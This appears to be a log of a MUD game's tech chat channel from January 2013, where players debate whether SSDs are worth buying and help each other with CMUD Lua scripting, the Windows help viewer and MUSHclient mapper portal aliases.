T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: was for conference room...not exactly doing movies with contrast
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: Too many choices, so I selected I brand I think is decent. We use them at work.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: nod, we're lenovo at current job, were dell at last job...for the dells, the 6500 and 6510 had displayport, while the 6520s had hdmi
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: Ok, so either is fine, you can use an adapter between them, correct?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: I dunno why anyone would put both on a laptop...as I said the main reason for displayport to exist is to not pay hdmi royalties
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: yup, the adapter's like $15
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: Oki, thanks.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: Another Q: Does having a SSD make a noticeable difference? I've never had a laptop with it.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Flach Tech: It can, really depends on what you're doing on the machine
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I'd highly suggest it
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: for most users, not really...depends on usage style
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: Well, I mud, surf, write code, compile code, and use openoffice...
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Flach Tech: Eh, wont really see a huge difference
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Then no, it won't make too noticeable a difference.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Boot time, that's about it.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: I personally wouldn't bother with it
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: don't get your computer wet while surfing
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: Oki. For which use cases will it make a huge difference?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you're all wrong
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I have one and do the same things and it makes me much happier
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: happier is a much different qualification than he asked for :P
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: Chaz Bono Cheezburger crosses his arms and nods sagely to you.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: being able to boot to my desktop in 4 seconds just makes the computer experience better
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Sonshi Tech: how much do those cost these days?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it makes a difference in how it feels to use your computer
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Flach Tech: They've come way down
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not that much. about 1$/GB
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Flach Tech: Less than that
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: way down, still overpriced
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: maybe less
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I use a 60 GB SSD as a primary drive in my gaming box with a 2 TB Raid 0 array for storage. I find that the boot/load times on the OS are much better with the SSD.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Sonshi Tech: hmmm... would be nice to have one. Maybe when I'm no longer a student... sigh
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I have 120GB SSD in my laptop and I'd never go back
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Sgurbuz Tech: ssds are sooooo expensive her
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: 120 was way to expensive when i bought mine :P
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: I'd rather spend $10 on a SD card and use flashboost
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Sgurbuz Tech: here*
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: Boot times is not a problem for me personally, I reboot my computer once a month, max. I keep my laptop as a desktop most of the time.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: everything loads faster
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: So do I, but I won't bother putting a ssd in my laptop.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Sonshi Tech: are the prices still falling? Should I hold off on replacing my laptop? I'd want one of those in a new laptop...
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: your HD is the tightest bottle neck in your computer
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you're going to spend money anywhere it should be to make the disk faster
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Meh, the transfer wires are a close second :P
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: prices will be perpetually falling...never really a "wait until xx to buy"
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: sata is a huge bottleneck
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: Ok, so the consensus on this is to maybe get an SSD :D
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: internet speed is probably actually a bigger factor for a lot of things people care about these days
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Sonshi Tech: well, depends on how fast they're falling... as a student, budget can be a bit tight
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: like my pr0n?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but within the computer it's the disk
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: yeah, hard drive speed is definitely not my bottleneck
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: and also note that SSD reads faster, writes slower
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: I'm not a student, I just don't want to spend money on stuff that I don't need.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Flach Tech: You can get a decent OCZ 480GB SSD for about $350, decent price
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Sonshi Tech: would be nice to boot quickly if I want to get dbs when I wake up in the middle of the night!
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: Sonshi ducks defensively.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: meh, you won't notice the write speed change in most cases.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you will really notice the read speed difference tho
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: it'll change, you just won't notice it as much as you'll notice the speed boost
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: everything loads instantly
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: always
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Flach Tech: If you just want to get a 120GB boot drive, you're looking at about $100
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: because it's essentially a big ram stick :P
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: no it isn't, cheez
T3/r7/2013-01-05.txt.gz:{chan ch=tech}SuperJayT Tech: thought about those hybrid drives? IE 32gig flash to install os on?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: nowhere near
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: get 8GB of ram and a SSD and disable swap and you'll be amazed at how slick a computer can feel
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: In the most lamen's terms, yes it is :P
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: no, it isn't
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Sonshi Tech: if I ever get a job where I'm saving well over 50%, I'd feel enough like I was rolling in money to buy nice stuff like that...
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: I guess replacing my laptop from 2007 with a new one will make enough of a difference in speed, but I think I'lll get an SSD if I can.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: it is orders of magnitude slower than ram
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Flach Tech: SSD is great for a boot drive, at least
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: SSD is great for everything if you're not a disgusting hoarder
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: slower yes, but their usage is the same.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: the difference in speed between HDD and SSD is much smaller than the difference in speed between SSD and RAM
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I wasn't comparing speeds
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: their usage is not the same
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: usage was the wrong word there
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Magna: only in terms of multiples, but not in terms of actual times
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: the usage of an SSD is the same as HDD, not the same as RAM
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: the way they work, is what i needed
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: I have a NAS for hoarding. I use the local HDD mostly for the OS and code.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I feel like you're being intentionally obtuse at this point.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: compare it to a thumb drive, not to RAM
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: no, you're being simply wrong
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the day we can have hundreds of GBs of RAM that persists state without losing its performance we won't need drives
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: doesn't matter how you spin it, you don't compare them to RAM, and especially not in the context of speed which is what your comment was placed in
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: No, it wasn't.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: yes it was...read history...let me know which comment you were replying to
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I was referring to how they work, as I've said. If you can't read, that's not my problem bro.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: no you weren't...you're trying to spin it that way, but you weren't...your ram comment had a "because"...which means you don't get to make up the context
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: can you set the language of settings in cmud when creating them on the command line?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: "#alias foo {bar} lua" doesn't work
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: sigh, i guess i hack it by making it zscript and wrapping the whole code in a #lua block
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: does anyone know offhand if the wait module packaged with aardmush is client independent?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Ranrr Tech: if it is for mush, it is not client independant
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: ok, does anyone know if it's for mush?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: huh? it's packaged with aardmush, so I'd imagine it's for mush
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Vakieh Tech: iirc it was written by Gammon specifically for Mush, but you might have some luck porting it across
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: lots of non-mush related lua files are packaged with aardmush :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: might need to play around with what each client calls stuff, or build workalikes
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: luasql and luacom come to mind
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i'll just look at the code myself :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: yup, best option...look at the code, see if any calls don't exist at lua.org or just try the calls in cmud to see if they say huh?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: nobody, probably not even gammon himself, would normally be able to answer your question without doing that same thing
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: that's why i asked if anyone knows offhand :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: cuz he'd likely not remember what he did, other than looking at the thread he references in that file's header
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: looks like it's just calling AddTimer internally, so that'd be a no :(
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: but why would we?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: well, fiendish might
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: not likely
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: fiendish might what?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: why would he care?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: he probably doesn't, what's the question?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: he knows it works in MUSH, that's as far as he'd need to know
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: if the wait module packaged with aardmush is client independent
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: heh, he was wondering if a .lua file included had any MUSHisms
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i'm just trying to add a delay in a script in cmud, and there's no good way to do it in lua :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: cause apparently the only way to set the language of a setting is through the gui
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it is mushclient specific, but could be ported to any client that has the ability to produce timers
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: cmud does, but only in zscript if making them dynamically :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: all wait.lua does is abstract the process of making a coroutine
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yeah, i just looked at the code
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: hmm, can't use #alarm stuff in lua in cmud?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: I have a delay function that acts like an alarm.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you can, but it creates a zscript alarm
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: maybe a systime?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i'll just do that and wrap the whole code in a #lua block
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: can that alarm then re-call something lua?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: function delay_s(delay) delay = delay or 1 local time_to = os.time() + delay while os.time() < time_to do end end
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: it can, it's just overcomplicating it :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: hmm... wouldn't that lock the lua thread though, etz?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Not if you put it in its own thread.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: I think. I haven't used it lately, so now I forget.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: so im gunna try to set up an alias, but im gunna need to read up on what the differant symbols do in an alias. im looking for a chart that shows what all the %'s and *'s mean
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: for aardwolf aliases, those don't mean anything
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: anyone know where i can go to find something educational on mush client?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: mushclient has great in-client helps and a good website
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: my overall aim is to make al alias that makes it super easy to program portals into mapper.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: my client side help doesnt work. never has. always give me an error tryn to load
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: finger fiendish...go to his site, MUSHclient...the wiki of that site has gobs of info on the aard MUSHclient and its included plugins...on the wiki there, click included plugins, click featured plugins, click GMCP driven world mapper...on that page is a "More tips" link with great info on making portals for the mapper
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: getting the in-client help working is a snap for you
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: you're using either Vista or Windows 7, which simply don't include the Windows helpfile viewer
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: download it from here http://support.microsoft.com/kb/917607
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: ok ill do the help first
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: ya windows 7
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: so ill be back if i need help, thanks for pointing me in right directions on both topics
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: good luck :-)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: hmmm genuine windows. lame. i dont think mine is, i had a friend redo everything on my computer cuz it was droped and stoped working...cant fix my help file loader
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: oh hey, its validated. nevermind, might work afterall
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: how doi figure out what one i need???? i trie the windoes 7 32x one, i thought thats what i woulda needed
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: it said it wasnt compatible tho
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: right-click my computer, go to properties
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Vakieh Tech: Unless you're talking drivers, if in doubt, get the 32-bit. It will usually be better tested, and will always be compatible with 64-bit windows.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: ya, it says windows 7 home    32bit
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Vakieh Tech: The advantages of 64-bit are almost always miniscule for everyday applications
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: thats what i tried^^
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: heh, will not always be compatible with 64-bit windows
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: mycomputer properties says windows 7, 32 bit
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Legendary Gruagach Tech: soon the world will run on android..just settle down windows nerd
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Vakieh Tech: What is designed for x86 but won't work with 64-bit and isn't a driver?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: plenty of things won't run their 32-bit version on 64-bit windows
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Legendary Gruagach Tech: name the top 10
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Vakieh Tech: Compatibility mode, boom.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: compatibility mode won't help
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Vakieh Tech: Name one, because I've never encountered anything like that
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: a few office products
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Vakieh Tech: Care to be a little more specific, in a 'lets me test it' sort of way? :-P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: ok, anyone know what i can do tho??
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Legendary Gruagach Tech: oo i think she called you a liar abelinc
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: at 4am and nowhere near a 64-bit W7 computer and software installers? no
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Legendary Gruagach Tech: i always keep two orbs
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: i didnt call anyone a liar. i was just asking for help with this help file reader thing..
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Vakieh Tech: I believe he was referring to me? And a swift google search yields exactly no person talking about incompatibilities moving backwards to 32 bit. Heaps of queries, but the conversation always goes 'just run it, it will be fine' 'oh thanks, yes it was fine'
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: can't even install many things, which is where this thread started...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: oh awesome, we started an arguement when someone just needed help. *pat vakieh
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: and the reason that you can't even install them, is because the publisher knows already that it will not run properly, so have limited the bitches from people who installed and ran into incompatibilities
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: well i went with a 86bit one or some crap
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: made it further in the install than i did with the 32x one, no error yet
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: x86 is what 32bit is called...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: cody what are you attempting? i missed it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: he's getting winhlp32.exe so that he can use the in-client helps with MUSHclient
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Ranrr Tech: Will there ever be a i9 CPU from intel, or will the next series have some completely different name?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: it installed Abe, but mushhelp still not loading, should i restart/
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: ahh, not familiar with stuff relating to the client
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: gl!
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: aqiz: it's not really relating to the client, it's just  relating to using standard windows .hlp files
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: and yeah, restart MUSHclient
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: ok brb
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: possibly may need to right-click the helpfile itself and go to properties, and select unblock, depending on your security settings (you'll see it when you get back if you need ;-)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: still not working. should i restart pc?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: try the thing in tech -h 5
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: k
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: wheres the mush help files at?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: mushclient folder...MUSHCLIENT.HLP
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: should have a blue ? icon
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Cody nods.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Cody tosses you up in the air, Wheeeeee!!! Again!
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: perfect, works now!
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: blocking setting is also what causes a program to ask "do you really want to run?" when you try to start them
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: so if MUSH bugs you with that each time, do that to the main executable as well
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: and i can unblock thos as well...i hate that message. lol
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: cool, thanks
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: yeah, it's basically just because they were downloaded from the big bad Internet and didn't go through an installer
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: like always, thanks a million Abe, your so helpful
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: ok i need a break, illbe back for more help with making that alias if i get stuck. thanks again.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: good luck with the aliases & portals...when you're in a config part of MUSHclient (like in an alias definition window) and click the help button, it'll pop up right to the help about that feature rather than having to find your way there
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: oh wow, that should help out some too.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: abe, how do i open help when looking at aliases and what not, u said something but im confused
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: wont let me hit help when config windows open
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: nevermind i got it, had to use F1, hotkey to open help. and yes, it does open to useful pages related to what i need. thanks again
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: oh, cody: when you're in a config window, instead of F1 or the help menu, the window itself has a "help" button at the bottom
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: ok i need help.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: my alias is "proport * *" my match: is "mapper portal get %1 %2;;hold %1;;enter;;dualaa;;put %1 %2"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: but doesnt work.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: "doesnt work" could be a number of things. Can you narrow it down?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: its not reading the ;'s right or something
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Have you tried just single ;'s?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: yeah, that second 
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: no i have not.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: yeah, that second 
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Or rather, getting ride of it and putting each on its own line?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: lol it is
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: -e.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: i figured it needs to be all one line, asim programing portals, and figured the mapper wouldneed it all on one line.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: If you're making an alias, you don't.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, wait.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, you shouldn't need to put them all on one line.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: send to: =?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Execute, maybe. Not 100% sure.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: MUSH isn't my client, so I just try to piece things together from things I've read.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Cody nods.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: ya it only programs the first line, when i remove the ;'s
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Okay, so what does mapper portal do?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Does it set a portal or something?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: he's making a meta-alias...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: so he does want the alias to have multiple ;s
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Ah.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: yaya abe!!! i know u can figure this out ;)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Then it should be all one line, send to Execute then, right?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: i tried that Etzli
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: i tried with 1 and 2 ;'s as well
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Execute("mapper portal %1;;blah blah blah") --> Send to Script?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Book of Etzli is going to give up soon enough.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: error [string "Alias: "]:1: '=' expected near 'portal'
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: oh hey i think i got it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: send to execute with 2 ;'s
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: yup, worked! thankyou for helping.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: you would set it to execute, but wouldn't use Execute()...but you can use the exact alias that the webpage I showed has
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: ... You told me you did ;; when I asked about send to execute...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: i had tried it...it was giving me an error before i thought Etzli,sorry in noob at these things
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: on Fiendish's wiki page for the mapper...that "More Tips" link...that link culminates in a "The ultimate, super dooper setportal macro"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: oh awesome Abe, i was mostly trying to educate myself now that i had help files, rather try to learn then just download others stuff. but i really am extreamly appreciative for your help.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: that page is all about learning and there's nothing to execute
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: it steps you through the thought process that you'll want to have when thinking about making the portal aliases
